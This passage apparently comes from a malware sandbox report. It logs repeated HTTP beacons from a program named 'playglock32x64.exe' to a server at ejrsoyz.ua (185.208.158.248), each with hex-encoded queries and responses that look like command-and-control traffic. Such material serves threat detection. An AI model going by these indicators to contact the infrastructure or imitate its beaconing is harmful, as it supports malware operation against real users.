Sep 29, 2024 00:54:33.931962013 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:34.620016098 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 34 30 36 0d 0a 36 37 62 36 39 63 39 35 33 38 30 34 62 32 36 62 35 36 35 66 65 39 35 62 33 32 31 62 64 31 39 61 35 35 66 63 38 66 63 66 66 35 31 65 31 39 65 62 62 64 35 35 65 39 30 33 63 61 66 66 38 64 65 37 39 35 38 37 34 64 38 30 34 37 64 35 65 30 63 30 33 36 33 36 62 39 34 65 66 66 64 30 64 61 31 38 32 30 65 63 37 64 35 39 61 64 37 35 66 36 36 63 61 62 33 32 35 37 64 65 66 39 64 35 31 36 63 31 34 31 63 34 36 33 62 39 31 30 66 35 33 32 38 61 32 36 65 34 31 62 61 37 36 37 63 33 34 64 62 39 65 33 34 64 66 33 35 38 37 61 34 30 66 32 32 30 36 32 39 66 33 65 36 37 38 65 66 66 31 61 63 37 65 66 38 62 39 39 33 64 64 33 36 65 39 36 31 33 63 36 35 37 38 61 32 30 62 35 35 39 62 33 65 39 35 34 32 37 65 38 36 35 64 30 66 63 36 37 62 62 38 65 65 62 63 62 34 62 65 36 33 61 63 33 31 37 33 35 35 64 35 61 32 62 65 35 32 30 36 63 30 61 36 37 61 37 65 38 38 38 65 30 38 30 32 62 35 62 65 37 35 63 37 62 32 31 66 35 32 63 35 38 65 39 66 65 65 36 39 32 66 62 33 38 37 38 62 61 65 63 34 36 39 62 38 65 66 61 37 61 32 37 31 [TRUNCATED] Data Ascii: 40667b69c953804b26b565fe95b321bd19a55fc8fcff51e19ebbd55e903caff8de795874d8047d5e0c03636b94effd0da1820ec7d59ad75f66cab3257def9d516c141c463b910f5328a26e41ba767c34db9e34df3587a40f220629f3e678eff1ac7ef8b993dd36e9613c6578a20b559b3e95427e865d0fc67bb8eebcb4be63ac317355d5a2be5206c0a67a7e888e0802b5be75c7b21f52c58e9fee692fb3878baec469b8efa7a2713b66ce986c2ba7bd36f0d363464a652ceddad3227b8d708bb1eb8a333a6c4ce337e2b0ed330e010efcfbf044ecc3d13c14bdafb6b972fb7965ea9e3d4aede3e2aa07abeee149aa0bf795ba087f42aa9fb9b8119f312e544824f64c5b6c1fdd8416fa387ec3aad6a880937b520d53ed79a00cb5dbe3001184fcbd1705d3f5b7b87f4842e2c604f1bcecbb30e12fddfa6e8d83d617aef3b8fc6050b4096abcd015245d4746b5b3647fdd3d1cdface539c3c674ff9742a8028a8cb93618b54c886251c0b6a9cfe9bf41907af3183d10c7a05d732ccf49a097e306f9f3001f35f4460668549d0b9a3e734a8d9c00e508d2fd643508cacd661d75b3eb768e2262fb77a815115d1a6a0a871a6c704984bd6dec048ac0eb542f1b3b1609cb02dab25330c37c7887014f7a9cb5373ed2e262b141bd528aa47a5149140c3a2c99755f8448e9eb2c22d04d12d27a48b5fc95419034bd [TRUNCATED]
Sep 29, 2024 00:54:34.620032072 CEST	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.9	49764	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:54:34.748960972 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:35.431219101 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.9	49766	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:54:35.558960915 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:36.254565954 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.9	49768	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:54:36.383562088 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:37.076373100 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.9	49769	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:54:37.210369110 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:37.912339926 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.9	49770	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:54:38.037117958 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:38.747240067 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 29, 2024 00:54:38.859697104 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:39.102230072 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.9	49771	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:54:39.226308107 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:39.921981096 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.9	49772	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:54:40.071240902 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:40.783207893 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.9	49773	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:54:40.931205034 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:41.673952103 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.9	49774	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:54:41.803922892 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:42.495698929 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.9	49775	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:54:42.641720057 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:43.349630117 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.9	49776	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:54:43.476955891 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:44.193264961 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.9	49777	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:54:44.320972919 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:45.005122900 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.9	49778	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:54:45.145500898 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:45.832448006 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.9	49779	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:54:46.076018095 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:46.770898104 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.9	49780	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:54:46.896879911 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:47.647051096 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.9	49781	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:54:47.772301912 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:48.456099033 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.9	49782	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:54:48.672365904 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:49.363154888 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.9	49783	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:54:49.490309954 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:50.177862883 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.9	49784	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:54:50.308204889 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:50.987991095 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.9	49785	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:54:51.118858099 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:51.833331108 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.9	49786	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:54:51.959359884 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:52.649713039 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.9	49787	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:54:52.780893087 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:53.501386881 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
